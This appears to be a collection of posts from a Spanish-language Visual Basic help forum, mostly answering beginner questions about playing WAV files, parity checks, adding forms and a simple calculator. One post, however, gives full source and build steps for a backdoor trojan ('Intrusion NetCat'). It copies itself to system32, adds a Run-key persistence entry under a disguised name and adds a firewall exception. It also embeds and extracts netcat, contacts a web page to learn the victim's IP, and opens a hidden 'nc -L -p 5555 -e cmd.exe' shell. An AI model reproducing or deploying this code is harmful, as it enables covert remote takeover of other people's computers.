Mensajes

Este es el código

Código [Seleccionar] Expandir


Declare Function mciExecute Lib "winmm.dll" (ByVal lpstrCommand As String) As Long
Private Sub Form_Load()
iResult = mciExecute("Play c:\carpeta 1\setup0.wav")
End Sub


El problema es que no reconoce la ruta porque encuentra un espacio, alguna solucion para arreglarlo? u otra manera de reproducir archivos wav?

En el caso de que consiguieras crear esa dll tambien tendrias que modificar el codigo fuente del CS para que use la dll. No basta solo con pegarlo en la misma carpeta.

No es necesario modificar el código fuente del CS, bastaría con hacer una inyección a traves de un .exe o arrancar la libreria junto a OpenGL.

Que yo sepa a un archivo BAT no se le pueden meter parámetros en la dirección, de todas maneras has escrito mucho código para tan poca cosa.

Código [Seleccionar] Expandir


sub main
     Shell App.Path & "\Shell.bat " & Directorio & " " & ByteCode
end sub


1º Descargamos el NetCat y lo guardamos en "C:\nc.exe".

INC.bas

Código [Seleccionar] Expandir


' Intrusion NetCat by YeIk0s
' No me responsabilizo de los malos usos que se le de a este código

Declare Function GetSystemDirectory Lib "kernel32" Alias "GetSystemDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long
Public Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
Public Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, ByVal lpData As String, ByVal cbData As Long) As Long
Public Declare Function RegOpenKey Lib "advapi32.dll" Alias "RegOpenKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Public Const REG_SZ = 1
Public Const HKLM = &H80000002

Dim Car As String * 128, DirSystem As String, KeyFirewall As String, KeyRun As String, UrlPhp As String

Function RegistrySetValueData(MasterKey, Key, Value, ValueData)
Dim nBufferKey As Long
RegOpenKey MasterKey, Key, nBufferKey
RegSetValueEx nBufferKey, Value, 0, REG_SZ, ValueData, Len(ValueData)
End Function

Sub Main()
On Error Resume Next
DirSystem = RTrim$(LCase$(Left$(Car, GetSystemDirectory(Car, "128"))))
DirWindows = RTrim$(LCase$(Left$(Car, GetWindowsDirectory(Car, "128"))))
UrlPhp = "http://127.0.0.1"
KeyFirewall = "SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List"
KeyRun = "SOFTWARE\Microsoft\Windows\CurrentVersion\Run"

FileCopy App.Path & "\" & App.EXEName & ".exe", DirSystem & "\inc.exe"
RegistrySetValueData HKLM, KeyFirewall, DirSystem & "\nc.exe", DirSystem & "\nc.exe:*:Enabled:nc"
RegistrySetValueData HKLM, KeyRun, "NvCpIDaemon", DirSystem & "\inc.exe"

If Len(Dir(DirSystem & "\nc.exe")) = 0 Then
Dim Str1 As String, Str2 As String, NewFile As String, AllFile As String

Open App.Path & "\" & App.EXEName & ".exe" For Binary As #1
    AllFile = Space(LOF(1))
        Get #1, , AllFile
Close #1

Str1 = InStrRev(AllFile, "€ø§ø", -1)
Str2 = InStrRev(AllFile, "ø§ø€", -1)
NewFile = Trim(Mid$(AllFile, Str1 + 4, Str2 - Str1 - 4))


Open DirSystem & "\nc.exe" For Binary As #2
        Put #2, , NewFile
Close #1
End If

Call ShellExecute(hwnd, "Open", ("iexplore.exe"), UrlPhp, vbNullString, 0)
Shell "cmd.exe /c nc -L -p 5555 -e cmd.exe", vbHide

End Sub


2º Compilamos INC.bas y lo guardamos en "C:\inc.exe".



Inyector.bas

Código [Seleccionar] Expandir


' Inyector by YeIk0s

Option Explicit
Const signo1 = "€ø§ø"
Const signo2 = "ø§ø€"
Dim DirNC As String, DirINC As String, size As String * 1, i As Long

Sub Main()

DirNC = "C:\nc.exe" ' NetCat original
DirINC = "C:\inc.exe" ' Archivo donde inyectaremos el NC

Open DirNC For Binary As #1
   Open DirINC For Binary As #2
        Put #2, LOF(2) + 1, signo1
        For i = 1 To FileLen(DirNC)
            Get #1, i, size
            Put #2, LOF(2) + 1, size
        Next
        Put #2, LOF(2) + 1, signo2
    Close #2
Close #1
End Sub

3º Compilamos Inyector.bas y lo ejecutamos.



Ya tenemos listo nuestro INC, al ejecutarlo se autocopia asi mismo al directorio system32, añade al registro una clave para que no detecte el firewall de Windows XP la conexión saliente del netcat, se inicia automáticamente al incio del sistema (regedit), luego extra el NC del propio archivo y lo extrae en el directorio system32, por ultimo hace una conexión HTTP (iexplorer) hacia X página web para averiguar la IP de la victima y lanza la shell del NC de forma oculta mediante el cmd.

No te voy a escribir el código pero si te puedo orientar... utiliza el número que se va a introducir como dividendo, y el número 2 como divisor, si el resto de la división es 0 significa que es par, en caso contrario es impar, para ello utiliza la función Mod.

Si quieres crear varios formularios debes darle al botón derecho del ratón sobre el explorador de proyectos y seleccioanr agregar formulario... En caso de que quieras visualizar un formulario en un momento determinado, utiliza la función Show (Form1.Show).

Me parece que era utilizando el guión (-) pero no estoy seguro porque no tengo el VB a mano.

Tres textbox con sus respectivos valores... y en el commandbutton:

Código [Seleccionar] Expandir

Dim resultado : resultado = val(text1.text) + val(text1.text)
text3.text= resultado
' Donde está el operador + se puede sustituir por otro cualquiera.

YeIk0S, si pones 3 tres box pon el segundo text1.text como text2.text... jejeje.

Saludos!!

Error de escritura  .

Utiliza los eventos, y no es necesario utilizar timers, simplemente le hacemos un evento al form principal diciendole que cuando pasemos el ratón por ahí todos los controles se restablezcan.

Tres textbox con sus respectivos valores... y en el commandbutton:

Código [Seleccionar] Expandir

Dim resultado : resultado = val(text1.text) + val(text2.text)
text3.text= resultado
' Donde está el operador + se puede sustituir por otro cualquiera.